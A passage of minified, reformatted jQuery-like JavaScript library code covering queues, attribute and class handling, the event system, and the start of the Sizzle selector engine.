                    empty: ia.Callbacks("once memory").add(function() {
                        ia._removeData(a, b + "queue"),
                        ia._removeData(a, c)
                    })
                })
            }
        }),
        ia.fn.extend({
            queue: function(a, c) {
                var d = 2;
                return "string" != typeof a && (c = a, a = "fx", d--),
                d > arguments.length ? ia.queue(this[0], a) : c === b ? this: this.each(function() {
                    var b = ia.queue(this, a, c);
                    ia._queueHooks(this, a),
                    "fx" === a && "inprogress" !== b[0] && ia.dequeue(this, a)
                })
            },
            dequeue: function(a) {
                return this.each(function() {
                    ia.dequeue(this, a)
                })
            },
            delay: function(a, b) {
                return a = ia.fx ? ia.fx.speeds[a] || a: a,
                b = b || "fx",
                this.queue(b,
                function(b, c) {
                    var d = setTimeout(b, a);
                    c.stop = function() {
                        clearTimeout(d)
                    }
                })
            },
            clearQueue: function(a) {
                return this.queue(a || "fx", [])
            },
            promise: function(a, c) {
                var d, e = 1,
                f = ia.Deferred(),
                g = this,
                h = this.length,
                i = function() {--e || f.resolveWith(g, [g])
                };
                for ("string" != typeof a && (c = a, a = b), a = a || "fx"; h--;) d = ia._data(g[h], a + "queueHooks"),
                d && d.empty && (e++, d.empty.add(i));
                return i(),
                f.promise(c)
            }
        });
        var Aa, Ba, Ca = /[\t\r\n]/g,
        Da = /\r/g,
        Ea = /^(?:input|select|textarea|button|object)$/i,
        Fa = /^(?:a|area)$/i,
        Ga = /^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,
        Ha = /^(?:checked|selected)$/i,
        Ia = ia.support.getSetAttribute,
        Ja = ia.support.input;
        ia.fn.extend({
            attr: function(a, b) {
                return ia.access(this, ia.attr, a, b, arguments.length > 1)
            },
            removeAttr: function(a) {
                return this.each(function() {
                    ia.removeAttr(this, a)
                })
            },
            prop: function(a, b) {
                return ia.access(this, ia.prop, a, b, arguments.length > 1)
            },
            removeProp: function(a) {
                return a = ia.propFix[a] || a,
                this.each(function() {
                    try {
                        this[a] = b,
                        delete this[a]
                    } catch(c) {}
                })
            },
            addClass: function(a) {
                var b, c, d, e, f, g = 0,
                h = this.length,
                i = "string" == typeof a && a;
                if (ia.isFunction(a)) return this.each(function(b) {
                    ia(this).addClass(a.call(this, b, this.className))
                });
                if (i) for (b = (a || "").match(ka) || []; h > g; g++) if (c = this[g], d = 1 === c.nodeType && (c.className ? (" " + c.className + " ").replace(Ca, " ") : " ")) {
                    for (f = 0; e = b[f++];) 0 > d.indexOf(" " + e + " ") && (d += e + " ");
                    c.className = ia.trim(d)
                }
                return this
            },
            removeClass: function(a) {
                var b, c, d, e, f, g = 0,
                h = this.length,
                i = 0 === arguments.length || "string" == typeof a && a;
                if (ia.isFunction(a)) return this.each(function(b) {
                    ia(this).removeClass(a.call(this, b, this.className))
                });
                if (i) for (b = (a || "").match(ka) || []; h > g; g++) if (c = this[g], d = 1 === c.nodeType && (c.className ? (" " + c.className + " ").replace(Ca, " ") : "")) {
                    for (f = 0; e = b[f++];) for (; d.indexOf(" " + e + " ") >= 0;) d = d.replace(" " + e + " ", " ");
                    c.className = a ? ia.trim(d) : ""
                }
                return this
            },
            toggleClass: function(a, b) {
                var c = typeof a,
                d = "boolean" == typeof b;
                return ia.isFunction(a) ? this.each(function(c) {
                    ia(this).toggleClass(a.call(this, c, this.className, b), b)
                }) : this.each(function() {
                    if ("string" === c) for (var e, f = 0,
                    g = ia(this), h = b, i = a.match(ka) || []; e = i[f++];) h = d ? h: !g.hasClass(e),
                    g[h ? "addClass": "removeClass"](e);
                    else(c === V || "boolean" === c) && (this.className && ia._data(this, "__className__", this.className), this.className = this.className || a === !1 ? "": ia._data(this, "__className__") || "")
                })
            },
            hasClass: function(a) {
                for (var b = " " + a + " ",
                c = 0,
                d = this.length; d > c; c++) if (1 === this[c].nodeType && (" " + this[c].className + " ").replace(Ca, " ").indexOf(b) >= 0) return ! 0;
                return ! 1
            },
            val: function(a) {
                var c, d, e, f = this[0];
                return arguments.length ? (e = ia.isFunction(a), this.each(function(c) {
                    var f, g = ia(this);
                    1 === this.nodeType && (f = e ? a.call(this, c, g.val()) : a, null == f ? f = "": "number" == typeof f ? f += "": ia.isArray(f) && (f = ia.map(f,
                    function(a) {
                        return null == a ? "": a + ""
                    })), d = ia.valHooks[this.type] || ia.valHooks[this.nodeName.toLowerCase()], d && "set" in d && d.set(this, f, "value") !== b || (this.value = f))
                })) : f ? (d = ia.valHooks[f.type] || ia.valHooks[f.nodeName.toLowerCase()], d && "get" in d && (c = d.get(f, "value")) !== b ? c: (c = f.value, "string" == typeof c ? c.replace(Da, "") : null == c ? "": c)) : void 0
            }
        }),
        ia.extend({
            valHooks: {
                option: {
                    get: function(a) {
                        var b = a.attributes.value;
                        return ! b || b.specified ? a.value: a.text
                    }
                },
                select: {
                    get: function(a) {
                        for (var b, c, d = a.options,
                        e = a.selectedIndex,
                        f = "select-one" === a.type || 0 > e,
                        g = f ? null: [], h = f ? e + 1 : d.length, i = 0 > e ? h: f ? e: 0; h > i; i++) if (c = d[i], !(!c.selected && i !== e || (ia.support.optDisabled ? c.disabled: null !== c.getAttribute("disabled")) || c.parentNode.disabled && ia.nodeName(c.parentNode, "optgroup"))) {
                            if (b = ia(c).val(), f) return b;
                            g.push(b)
                        }
                        return g
                    },
                    set: function(a, b) {
                        var c = ia.makeArray(b);
                        return ia(a).find("option").each(function() {
                            this.selected = ia.inArray(ia(this).val(), c) >= 0
                        }),
                        c.length || (a.selectedIndex = -1),
                        c
                    }
                }
            },
            attr: function(a, c, d) {
                var e, f, g, h = a.nodeType;
                return a && 3 !== h && 8 !== h && 2 !== h ? typeof a.getAttribute === V ? ia.prop(a, c, d) : (f = 1 !== h || !ia.isXMLDoc(a), f && (c = c.toLowerCase(), e = ia.attrHooks[c] || (Ga.test(c) ? Ba: Aa)), d === b ? e && f && "get" in e && null !== (g = e.get(a, c)) ? g: (typeof a.getAttribute !== V && (g = a.getAttribute(c)), null == g ? b: g) : null !== d ? e && f && "set" in e && (g = e.set(a, d, c)) !== b ? g: (a.setAttribute(c, d + ""), d) : (ia.removeAttr(a, c), b)) : void 0
            },
            removeAttr: function(a, b) {
                var c, d, e = 0,
                f = b && b.match(ka);
                if (f && 1 === a.nodeType) for (; c = f[e++];) d = ia.propFix[c] || c,
                Ga.test(c) ? !Ia && Ha.test(c) ? a[ia.camelCase("default-" + c)] = a[d] = !1 : a[d] = !1 : ia.attr(a, c, ""),
                a.removeAttribute(Ia ? c: d)
            },
            attrHooks: {
                type: {
                    set: function(a, b) {
                        if (!ia.support.radioValue && "radio" === b && ia.nodeName(a, "input")) {
                            var c = a.value;
                            return a.setAttribute("type", b),
                            c && (a.value = c),
                            b
                        }
                    }
                }
            },
            propFix: {
                tabindex: "tabIndex",
                readonly: "readOnly",
                "for": "htmlFor",
                "class": "className",
                maxlength: "maxLength",
                cellspacing: "cellSpacing",
                cellpadding: "cellPadding",
                rowspan: "rowSpan",
                colspan: "colSpan",
                usemap: "useMap",
                frameborder: "frameBorder",
                contenteditable: "contentEditable"
            },
            prop: function(a, c, d) {
                var e, f, g, h = a.nodeType;
                return a && 3 !== h && 8 !== h && 2 !== h ? (g = 1 !== h || !ia.isXMLDoc(a), g && (c = ia.propFix[c] || c, f = ia.propHooks[c]), d !== b ? f && "set" in f && (e = f.set(a, d, c)) !== b ? e: a[c] = d: f && "get" in f && null !== (e = f.get(a, c)) ? e: a[c]) : void 0
            },
            propHooks: {
                tabIndex: {
                    get: function(a) {
                        var c = a.getAttributeNode("tabindex");
                        return c && c.specified ? parseInt(c.value, 10) : Ea.test(a.nodeName) || Fa.test(a.nodeName) && a.href ? 0 : b
                    }
                }
            }
        }),
        Ba = {
            get: function(a, c) {
                var d = ia.prop(a, c),
                e = "boolean" == typeof d && a.getAttribute(c),
                f = "boolean" == typeof d ? Ja && Ia ? null != e: Ha.test(c) ? a[ia.camelCase("default-" + c)] : !!e: a.getAttributeNode(c);
                return f && f.value !== !1 ? c.toLowerCase() : b
            },
            set: function(a, b, c) {
                return b === !1 ? ia.removeAttr(a, c) : Ja && Ia || !Ha.test(c) ? a.setAttribute(!Ia && ia.propFix[c] || c, c) : a[ia.camelCase("default-" + c)] = a[c] = !0,
                c
            }
        },
        Ja && Ia || (ia.attrHooks.value = {
            get: function(a, c) {
                var d = a.getAttributeNode(c);
                return ia.nodeName(a, "input") ? a.defaultValue: d && d.specified ? d.value: b
            },
            set: function(a, c, d) {
                return ia.nodeName(a, "input") ? (a.defaultValue = c, b) : Aa && Aa.set(a, c, d)
            }
        }),
        Ia || (Aa = ia.valHooks.button = {
            get: function(a, c) {
                var d = a.getAttributeNode(c);
                return d && ("id" === c || "name" === c || "coords" === c ? "" !== d.value: d.specified) ? d.value: b
            },
            set: function(a, c, d) {
                var e = a.getAttributeNode(d);
                return e || a.setAttributeNode(e = a.ownerDocument.createAttribute(d)),
                e.value = c += "",
                "value" === d || c === a.getAttribute(d) ? c: b
            }
        },
        ia.attrHooks.contenteditable = {
            get: Aa.get,
            set: function(a, b, c) {
                Aa.set(a, "" === b ? !1 : b, c)
            }
        },
        ia.each(["width", "height"],
        function(a, c) {
            ia.attrHooks[c] = ia.extend(ia.attrHooks[c], {
                set: function(a, d) {
                    return "" === d ? (a.setAttribute(c, "auto"), d) : b
                }
            })
        })),
        ia.support.hrefNormalized || (ia.each(["href", "src", "width", "height"],
        function(a, c) {
            ia.attrHooks[c] = ia.extend(ia.attrHooks[c], {
                get: function(a) {
                    var d = a.getAttribute(c, 2);
                    return null == d ? b: d
                }
            })
        }), ia.each(["href", "src"],
        function(a, b) {
            ia.propHooks[b] = {
                get: function(a) {
                    return a.getAttribute(b, 4)
                }
            }
        })),
        ia.support.style || (ia.attrHooks.style = {
            get: function(a) {
                return a.style.cssText || b
            },
            set: function(a, b) {
                return a.style.cssText = b + ""
            }
        }),
        ia.support.optSelected || (ia.propHooks.selected = ia.extend(ia.propHooks.selected, {
            get: function(a) {
                var b = a.parentNode;
                return b && (b.selectedIndex, b.parentNode && b.parentNode.selectedIndex),
                null
            }
        })),
        ia.support.enctype || (ia.propFix.enctype = "encoding"),
        ia.support.checkOn || ia.each(["radio", "checkbox"],
        function() {
            ia.valHooks[this] = {
                get: function(a) {
                    return null === a.getAttribute("value") ? "on": a.value
                }
            }
        }),
        ia.each(["radio", "checkbox"],
        function() {
            ia.valHooks[this] = ia.extend(ia.valHooks[this], {
                set: function(a, c) {
                    return ia.isArray(c) ? a.checked = ia.inArray(ia(a).val(), c) >= 0 : b
                }
            })
        });
        var Ka = /^(?:input|select|textarea)$/i,
        La = /^key/,
        Ma = /^(?:mouse|contextmenu)|click/,
        Na = /^(?:focusinfocus|focusoutblur)$/,
        Oa = /^([^.]*)(?:\.(.+)|)$/;
        ia.event = {
            global: {},
            add: function(a, c, d, e, f) {
                var g, h, i, j, k, l, m, n, o, p, q, r = ia._data(a);
                if (r) {
                    for (d.handler && (j = d, d = j.handler, f = j.selector), d.guid || (d.guid = ia.guid++), (h = r.events) || (h = r.events = {}), (l = r.handle) || (l = r.handle = function(a) {
                        return typeof ia === V || a && ia.event.triggered === a.type ? b: ia.event.dispatch.apply(l.elem, arguments)
                    },
                    l.elem = a), c = (c || "").match(ka) || [""], i = c.length; i--;) g = Oa.exec(c[i]) || [],
                    o = q = g[1],
                    p = (g[2] || "").split(".").sort(),
                    k = ia.event.special[o] || {},
                    o = (f ? k.delegateType: k.bindType) || o,
                    k = ia.event.special[o] || {},
                    m = ia.extend({
                        type: o,
                        origType: q,
                        data: e,
                        handler: d,
                        guid: d.guid,
                        selector: f,
                        needsContext: f && ia.expr.match.needsContext.test(f),
                        namespace: p.join(".")
                    },
                    j),
                    (n = h[o]) || (n = h[o] = [], n.delegateCount = 0, k.setup && k.setup.call(a, e, p, l) !== !1 || (a.addEventListener ? a.addEventListener(o, l, !1) : a.attachEvent && a.attachEvent("on" + o, l))),
                    k.add && (k.add.call(a, m), m.handler.guid || (m.handler.guid = d.guid)),
                    f ? n.splice(n.delegateCount++, 0, m) : n.push(m),
                    ia.event.global[o] = !0;
                    a = null
                }
            },
            remove: function(a, b, c, d, e) {
                var f, g, h, i, j, k, l, m, n, o, p, q = ia.hasData(a) && ia._data(a);
                if (q && (k = q.events)) {
                    for (b = (b || "").match(ka) || [""], j = b.length; j--;) if (h = Oa.exec(b[j]) || [], n = p = h[1], o = (h[2] || "").split(".").sort(), n) {
                        for (l = ia.event.special[n] || {},
                        n = (d ? l.delegateType: l.bindType) || n, m = k[n] || [], h = h[2] && RegExp("(^|\\.)" + o.join("\\.(?:.*\\.|)") + "(\\.|$)"), i = f = m.length; f--;) g = m[f],
                        !e && p !== g.origType || c && c.guid !== g.guid || h && !h.test(g.namespace) || d && d !== g.selector && ("**" !== d || !g.selector) || (m.splice(f, 1), g.selector && m.delegateCount--, l.remove && l.remove.call(a, g));
                        i && !m.length && (l.teardown && l.teardown.call(a, o, q.handle) !== !1 || ia.removeEvent(a, n, q.handle), delete k[n])
                    } else for (n in k) ia.event.remove(a, n + b[j], c, d, !0);
                    ia.isEmptyObject(k) && (delete q.handle, ia._removeData(a, "events"))
                }
            },
            trigger: function(c, d, e, f) {
                var g, h, i, j, k, l, m, n = [e || W],
                o = ga.call(c, "type") ? c.type: c,
                p = ga.call(c, "namespace") ? c.namespace.split(".") : [];
                if (i = l = e = e || W, 3 !== e.nodeType && 8 !== e.nodeType && !Na.test(o + ia.event.triggered) && (o.indexOf(".") >= 0 && (p = o.split("."), o = p.shift(), p.sort()), h = 0 > o.indexOf(":") && "on" + o, c = c[ia.expando] ? c: new ia.Event(o, "object" == typeof c && c), c.isTrigger = !0, c.namespace = p.join("."), c.namespace_re = c.namespace ? RegExp("(^|\\.)" + p.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, c.result = b, c.target || (c.target = e), d = null == d ? [c] : ia.makeArray(d, [c]), k = ia.event.special[o] || {},
                f || !k.trigger || k.trigger.apply(e, d) !== !1)) {
                    if (!f && !k.noBubble && !ia.isWindow(e)) {
                        for (j = k.delegateType || o, Na.test(j + o) || (i = i.parentNode); i; i = i.parentNode) n.push(i),
                        l = i;
                        l === (e.ownerDocument || W) && n.push(l.defaultView || l.parentWindow || a)
                    }
                    for (m = 0; (i = n[m++]) && !c.isPropagationStopped();) c.type = m > 1 ? j: k.bindType || o,
                    g = (ia._data(i, "events") || {})[c.type] && ia._data(i, "handle"),
                    g && g.apply(i, d),
                    g = h && i[h],
                    g && ia.acceptData(i) && g.apply && g.apply(i, d) === !1 && c.preventDefault();
                    if (c.type = o, !(f || c.isDefaultPrevented() || k._default && k._default.apply(e.ownerDocument, d) !== !1 || "click" === o && ia.nodeName(e, "a") || !ia.acceptData(e) || !h || !e[o] || ia.isWindow(e))) {
                        l = e[h],
                        l && (e[h] = null),
                        ia.event.triggered = o;
                        try {
                            e[o]()
                        } catch(q) {}
                        ia.event.triggered = b,
                        l && (e[h] = l)
                    }
                    return c.result
                }
            },
            dispatch: function(a) {
                a = ia.event.fix(a);
                var c, d, e, f, g, h = [],
                i = da.call(arguments),
                j = (ia._data(this, "events") || {})[a.type] || [],
                k = ia.event.special[a.type] || {};
                if (i[0] = a, a.delegateTarget = this, !k.preDispatch || k.preDispatch.call(this, a) !== !1) {
                    for (h = ia.event.handlers.call(this, a, j), c = 0; (f = h[c++]) && !a.isPropagationStopped();) for (a.currentTarget = f.elem, g = 0; (e = f.handlers[g++]) && !a.isImmediatePropagationStopped();)(!a.namespace_re || a.namespace_re.test(e.namespace)) && (a.handleObj = e, a.data = e.data, d = ((ia.event.special[e.origType] || {}).handle || e.handler).apply(f.elem, i), d !== b && (a.result = d) === !1 && (a.preventDefault(), a.stopPropagation()));
                    return k.postDispatch && k.postDispatch.call(this, a),
                    a.result
                }
            },
            handlers: function(a, c) {
                var d, e, f, g, h = [],
                i = c.delegateCount,
                j = a.target;
                if (i && j.nodeType && (!a.button || "click" !== a.type)) for (; j != this; j = j.parentNode || this) if (1 === j.nodeType && (j.disabled !== !0 || "click" !== a.type)) {
                    for (f = [], g = 0; i > g; g++) e = c[g],
                    d = e.selector + " ",
                    f[d] === b && (f[d] = e.needsContext ? ia(d, this).index(j) >= 0 : ia.find(d, this, null, [j]).length),
                    f[d] && f.push(e);
                    f.length && h.push({
                        elem: j,
                        handlers: f
                    })
                }
                return c.length > i && h.push({
                    elem: this,
                    handlers: c.slice(i)
                }),
                h
            },
            fix: function(a) {
                if (a[ia.expando]) return a;
                var b, c, d, e = a.type,
                f = a,
                g = this.fixHooks[e];
                for (g || (this.fixHooks[e] = g = Ma.test(e) ? this.mouseHooks: La.test(e) ? this.keyHooks: {}), d = g.props ? this.props.concat(g.props) : this.props, a = new ia.Event(f), b = d.length; b--;) c = d[b],
                a[c] = f[c];
                return a.target || (a.target = f.srcElement || W),
                3 === a.target.nodeType && (a.target = a.target.parentNode),
                a.metaKey = !!a.metaKey,
                g.filter ? g.filter(a, f) : a
            },
            props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
            fixHooks: {},
            keyHooks: {
                props: "char charCode key keyCode".split(" "),
                filter: function(a, b) {
                    return null == a.which && (a.which = null != b.charCode ? b.charCode: b.keyCode),
                    a
                }
            },
            mouseHooks: {
                props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
                filter: function(a, c) {
                    var d, e, f, g = c.button,
                    h = c.fromElement;
                    return null == a.pageX && null != c.clientX && (e = a.target.ownerDocument || W, f = e.documentElement, d = e.body, a.pageX = c.clientX + (f && f.scrollLeft || d && d.scrollLeft || 0) - (f && f.clientLeft || d && d.clientLeft || 0), a.pageY = c.clientY + (f && f.scrollTop || d && d.scrollTop || 0) - (f && f.clientTop || d && d.clientTop || 0)),
                    !a.relatedTarget && h && (a.relatedTarget = h === a.target ? c.toElement: h),
                    a.which || g === b || (a.which = 1 & g ? 1 : 2 & g ? 3 : 4 & g ? 2 : 0),
                    a
                }
            },
            special: {
                load: {
                    noBubble: !0
                },
                click: {
                    trigger: function() {
                        return ia.nodeName(this, "input") && "checkbox" === this.type && this.click ? (this.click(), !1) : b
                    }
                },
                focus: {
                    trigger: function() {
                        if (this !== W.activeElement && this.focus) try {
                            return this.focus(),
                            !1
                        } catch(a) {}
                    },
                    delegateType: "focusin"
                },
                blur: {
                    trigger: function() {
                        return this === W.activeElement && this.blur ? (this.blur(), !1) : b
                    },
                    delegateType: "focusout"
                },
                beforeunload: {
                    postDispatch: function(a) {
                        a.result !== b && (a.originalEvent.returnValue = a.result)
                    }
                }
            },
            simulate: function(a, b, c, d) {
                var e = ia.extend(new ia.Event, c, {
                    type: a,
                    isSimulated: !0,
                    originalEvent: {}
                });
                d ? ia.event.trigger(e, null, b) : ia.event.dispatch.call(b, e),
                e.isDefaultPrevented() && c.preventDefault()
            }
        },
        ia.removeEvent = W.removeEventListener ?
        function(a, b, c) {
            a.removeEventListener && a.removeEventListener(b, c, !1)
        }: function(a, b, c) {
            var d = "on" + b;
            a.detachEvent && (typeof a[d] === V && (a[d] = null), a.detachEvent(d, c))
        },
        ia.Event = function(a, c) {
            return this instanceof ia.Event ? (a && a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || a.returnValue === !1 || a.getPreventDefault && a.getPreventDefault() ? i: j) : this.type = a, c && ia.extend(this, c), this.timeStamp = a && a.timeStamp || ia.now(), this[ia.expando] = !0, b) : new ia.Event(a, c)
        },
        ia.Event.prototype = {
            isDefaultPrevented: j,
            isPropagationStopped: j,
            isImmediatePropagationStopped: j,
            preventDefault: function() {
                var a = this.originalEvent;
                this.isDefaultPrevented = i,
                a && (a.preventDefault ? a.preventDefault() : a.returnValue = !1)
            },
            stopPropagation: function() {
                var a = this.originalEvent;
                this.isPropagationStopped = i,
                a && (a.stopPropagation && a.stopPropagation(), a.cancelBubble = !0)
            },
            stopImmediatePropagation: function() {
                this.isImmediatePropagationStopped = i,
                this.stopPropagation()
            }
        },
        ia.each({
            mouseenter: "mouseover",
            mouseleave: "mouseout"
        },
        function(a, b) {
            ia.event.special[a] = {
                delegateType: b,
                bindType: b,
                handle: function(a) {
                    var c, d = this,
                    e = a.relatedTarget,
                    f = a.handleObj;
                    return (!e || e !== d && !ia.contains(d, e)) && (a.type = f.origType, c = f.handler.apply(this, arguments), a.type = b),
                    c
                }
            }
        }),
        ia.support.submitBubbles || (ia.event.special.submit = {
            setup: function() {
                return ia.nodeName(this, "form") ? !1 : (ia.event.add(this, "click._submit keypress._submit",
                function(a) {
                    var c = a.target,
                    d = ia.nodeName(c, "input") || ia.nodeName(c, "button") ? c.form: b;
                    d && !ia._data(d, "submitBubbles") && (ia.event.add(d, "submit._submit",
                    function(a) {
                        a._submit_bubble = !0
                    }), ia._data(d, "submitBubbles", !0))
                }), b)
            },
            postDispatch: function(a) {
                a._submit_bubble && (delete a._submit_bubble, this.parentNode && !a.isTrigger && ia.event.simulate("submit", this.parentNode, a, !0))
            },
            teardown: function() {
                return ia.nodeName(this, "form") ? !1 : (ia.event.remove(this, "._submit"), b)
            }
        }),
        ia.support.changeBubbles || (ia.event.special.change = {
            setup: function() {
                return Ka.test(this.nodeName) ? (("checkbox" === this.type || "radio" === this.type) && (ia.event.add(this, "propertychange._change",
                function(a) {
                    "checked" === a.originalEvent.propertyName && (this._just_changed = !0)
                }), ia.event.add(this, "click._change",
                function(a) {
                    this._just_changed && !a.isTrigger && (this._just_changed = !1),
                    ia.event.simulate("change", this, a, !0)
                })), !1) : (ia.event.add(this, "beforeactivate._change",
                function(a) {
                    var b = a.target;
                    Ka.test(b.nodeName) && !ia._data(b, "changeBubbles") && (ia.event.add(b, "change._change",
                    function(a) { ! this.parentNode || a.isSimulated || a.isTrigger || ia.event.simulate("change", this.parentNode, a, !0)
                    }), ia._data(b, "changeBubbles", !0))
                }), b)
            },
            handle: function(a) {
                var c = a.target;
                return this !== c || a.isSimulated || a.isTrigger || "radio" !== c.type && "checkbox" !== c.type ? a.handleObj.handler.apply(this, arguments) : b
            },
            teardown: function() {
                return ia.event.remove(this, "._change"),
                !Ka.test(this.nodeName)
            }
        }),
        ia.support.focusinBubbles || ia.each({
            focus: "focusin",
            blur: "focusout"
        },
        function(a, b) {
            var c = 0,
            d = function(a) {
                ia.event.simulate(b, a.target, ia.event.fix(a), !0)
            };
            ia.event.special[b] = {
                setup: function() {
                    0 === c++&&W.addEventListener(a, d, !0)
                },
                teardown: function() {
                    0 === --c && W.removeEventListener(a, d, !0)
                }
            }
        }),
        ia.fn.extend({
            on: function(a, c, d, e, f) {
                var g, h;
                if ("object" == typeof a) {
                    "string" != typeof c && (d = d || c, c = b);
                    for (g in a) this.on(g, c, d, a[g], f);
                    return this
                }
                if (null == d && null == e ? (e = c, d = c = b) : null == e && ("string" == typeof c ? (e = d, d = b) : (e = d, d = c, c = b)), e === !1) e = j;
                else if (!e) return this;
                return 1 === f && (h = e, e = function(a) {
                    return ia().off(a),
                    h.apply(this, arguments)
                },
                e.guid = h.guid || (h.guid = ia.guid++)),
                this.each(function() {
                    ia.event.add(this, a, e, d, c)
                })
            },
            one: function(a, b, c, d) {
                return this.on(a, b, c, d, 1)
            },
            off: function(a, c, d) {
                var e, f;
                if (a && a.preventDefault && a.handleObj) return e = a.handleObj,
                ia(a.delegateTarget).off(e.namespace ? e.origType + "." + e.namespace: e.origType, e.selector, e.handler),
                this;
                if ("object" == typeof a) {
                    for (f in a) this.off(f, c, a[f]);
                    return this
                }
                return (c === !1 || "function" == typeof c) && (d = c, c = b),
                d === !1 && (d = j),
                this.each(function() {
                    ia.event.remove(this, a, d, c)
                })
            },
            bind: function(a, b, c) {
                return this.on(a, null, b, c)
            },
            unbind: function(a, b) {
                return this.off(a, null, b)
            },
            delegate: function(a, b, c, d) {
                return this.on(b, a, c, d)
            },
            undelegate: function(a, b, c) {
                return 1 === arguments.length ? this.off(a, "**") : this.off(b, a || "**", c)
            },
            trigger: function(a, b) {
                return this.each(function() {
                    ia.event.trigger(a, b, this)
                })
            },
            triggerHandler: function(a, c) {
                var d = this[0];
                return d ? ia.event.trigger(a, c, d, !0) : b
            }
        }),
        function(a, b) {
            function c(a) {
                return oa.test(a + "")
            }
            function d() {
                var a, b = [];
                return a = function(c, d) {
                    return b.push(c += " ") > y.cacheLength && delete a[b.shift()],
                    a[c] = d
                }
            }
            function e(a) {
                return a[N] = !0,
                a
            }
            function f(a) {
                var b = F.createElement("div");
                try {
                    return a(b)
                } catch(c) {
                    return ! 1
                } finally {
                    b = null
                }
            }
            function g(a, b, c, d) {
                var e, f, g, h, i, j, k, n, o, p;
                if ((b ? b.ownerDocument || b: O) !== F && E(b), b = b || F, c = c || [], !a || "string" != typeof a) return c;
                if (1 !== (h = b.nodeType) && 9 !== h) return [];
                if (!H && !d) {
                    if (e = pa.exec(a)) if (g = e[1]) {
                        if (9 === h) {
                            if (f = b.getElementById(g), !f || !f.parentNode) return c;
                            if (f.id === g) return c.push(f),
                            c
                        } else if (b.ownerDocument && (f = b.ownerDocument.getElementById(g)) && L(b, f) && f.id === g) return c.push(f),
                        c
                    } else {
                        if (e[2]) return Z.apply(c, $.call(b.getElementsByTagName(a), 0)),
                        c;
                        if ((g = e[3]) && P.getByClassName && b.getElementsByClassName) return Z.apply(c, $.call(b.getElementsByClassName(g), 0)),
                        c
                    }
                    if (P.qsa && !I.test(a)) {
                        if (k = !0, n = N, o = b, p = 9 === h && a, 1 === h && "object" !== b.nodeName.toLowerCase()) {
                            for (j = l(a), (k = b.getAttribute("id")) ? n = k.replace(sa, "\\$&") : b.setAttribute("id", n), n = "[id='" + n + "'] ", i = j.length; i--;) j[i] = n + m(j[i]);
                            o = na.test(a) && b.parentNode || b,
                            p = j.join(",")
                        }
                        if (p) try {
                            return Z.apply(c, $.call(o.querySelectorAll(p), 0)),
                            c
                        } catch(q) {} finally {
                            k || b.removeAttribute("id")
                        }
                    }
                }
                return u(a.replace(ga, "$1"), b, c, d)
            }
            function h(a, b) {
                var c = b && a,
                d = c && (~b.sourceIndex || W) - (~a.sourceIndex || W);
                if (d) return d;
                if (c) for (; c = c.nextSibling;) if (c === b) return - 1;
                return a ? 1 : -1
            }
            function i(a) {
                return function(b) {
                    var c = b.nodeName.toLowerCase();
                    return "input" === c && b.type === a
                }
            }
            function j(a) {
                return function(b) {
                    var c = b.nodeName.toLowerCase();
                    return ("input" === c || "button" === c) && b.type === a
                }
            }
            function k(a) {
                return e(function(b) {
                    return b = +b,
                    e(function(c, d) {
                        for (var e, f = a([], c.length, b), g = f.length; g--;) c[e = f[g]] && (c[e] = !(d[e] = c[e]))
                    })
                })
            }
            function l(a, b) {
                var c, d, e, f, h, i, j, k = T[a + " "];
                if (k) return b ? 0 : k.slice(0);
                for (h = a, i = [], j = y.preFilter; h;) { (!c || (d = ha.exec(h))) && (d && (h = h.slice(d[0].length) || h), i.push(e = [])),
                    c = !1,
                    (d = ja.exec(h)) && (c = d.shift(), e.push({
                        value: c,
                        type: d[0].replace(ga, " ")
                    }), h = h.slice(c.length));
                    for (f in y.filter) ! (d = ma[f].exec(h)) || j[f] && !(d = j[f](d)) || (c = d.shift(), e.push({
                        value: c,
                        type: f,
                        matches: d
                    }), h = h.slice(c.length));
                    if (!c) break
                }
                return b ? h.length: h ? g.error(a) : T(a, i).slice(0)
            }
            function m(a) {
                for (var b = 0,
                c = a.length,
                d = ""; c > b; b++) d += a[b].value;
                return d
            }
            function n(a, b, c) {
                var d = b.dir,
                e = c && "parentNode" === d,
                f = R++;
                return b.first ?
                function(b, c, f) {
                    for (; b = b[d];) if (1 === b.nodeType || e) return a(b, c, f)
                }: function(b, c, g) {
                    var h, i, j, k = Q + " " + f;
                    if (g) {
                        for (; b = b[d];) if ((1 === b.nodeType || e) && a(b, c, g)) return ! 0
                    } else for (; b = b[d];) if (1 === b.nodeType || e) if (j = b[N] || (b[N] = {}), (i = j[d]) && i[0] === k) {
                        if ((h = i[1]) === !0 || h === x) return h === !0
                    } else if (i = j[d] = [k], i[1] = a(b, c, g) || x, i[1] === !0) return ! 0
                }
            }
            function o(a) {
                return a.length > 1 ?
                function(b, c, d) {
                    for (var e = a.length; e--;) if (!a[e](b, c, d)) return ! 1;
                    return ! 0
                }: a[0]
            }
            function p(a, b, c, d, e) {
                for (var f, g = [], h = 0, i = a.length, j = null != b; i > h; h++)(f = a[h]) && (!c || c(f, d, e)) && (g.push(f), j && b.push(h));
                return g
            }
            function q(a, b, c, d, f, g) {
                return d && !d[N] && (d = q(d)),
                f && !f[N] && (f = q(f, g)),
                e(function(e, g, h, i) {
                    var j, k, l, m = [],
                    n = [],
                    o = g.length,
                    q = e || t(b || "*", h.nodeType ? [h] : h, []),
                    r = !a || !e && b ? q: p(q, m, a, h, i),
                    s = c ? f || (e ? a: o || d) ? [] : g: r;
                    if (c && c(r, s, h, i), d) for (j = p(s, n), d(j, [], h, i), k = j.length; k--;)(l = j[k]) && (s[n[k]] = !(r[n[k]] = l));
                    if (e) {
                        if (f || a) {
                            if (f) {
                                for (j = [], k = s.length; k--;)(l = s[k]) && j.push(r[k] = l);
                                f(null, s = [], j, i)
                            }
                            for (k = s.length; k--;)(l = s[k]) && (j = f ? _.call(e, l) : m[k]) > -1 && (e[j] = !(g[j] = l))
                        }
                    } else s = p(s === g ? s.splice(o, s.length) : s),
                    f ? f(null, g, s, i) : Z.apply(g, s)
                })
            }
            function r(a) {
                for (var b, c, d, e = a.length,
                f = y.relative[a[0].type], g = f || y.relative[" "], h = f ? 1 : 0, i = n(function(a) {
                    return a === b
                },
                g, !0), j = n(function(a) {
                    return _.call(b, a) > -1
                },
                g, !0), k = [function(a, c, d) {
